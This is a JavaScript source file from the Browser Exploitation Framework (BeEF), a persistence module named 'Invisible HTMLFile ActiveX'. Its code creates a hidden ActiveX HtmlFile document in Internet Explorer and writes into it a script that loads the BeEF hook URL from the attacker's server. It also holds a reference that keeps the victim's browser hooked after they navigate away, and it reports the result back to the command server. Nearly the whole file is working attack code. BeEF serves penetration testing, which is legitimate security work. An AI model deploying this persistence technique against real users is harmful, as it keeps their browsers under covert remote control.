Path: blob/master/modules/persistence/invisible_htmlfile_activex/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7try {8var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook;910// create HMTL document11beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object");12doc = new ActiveXObject("HtmlFile");13doc.open();14doc.write('<html><body><script src="'+hook_url+'"><\/script></body></html>');15doc.close();1617// Save a self-reference18doc.Script.doc = doc;1920// Prevent IE from destroying the previous reference21window.open("","_self");22beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success());23} catch (e) {24beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message)25beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error());26}27});282930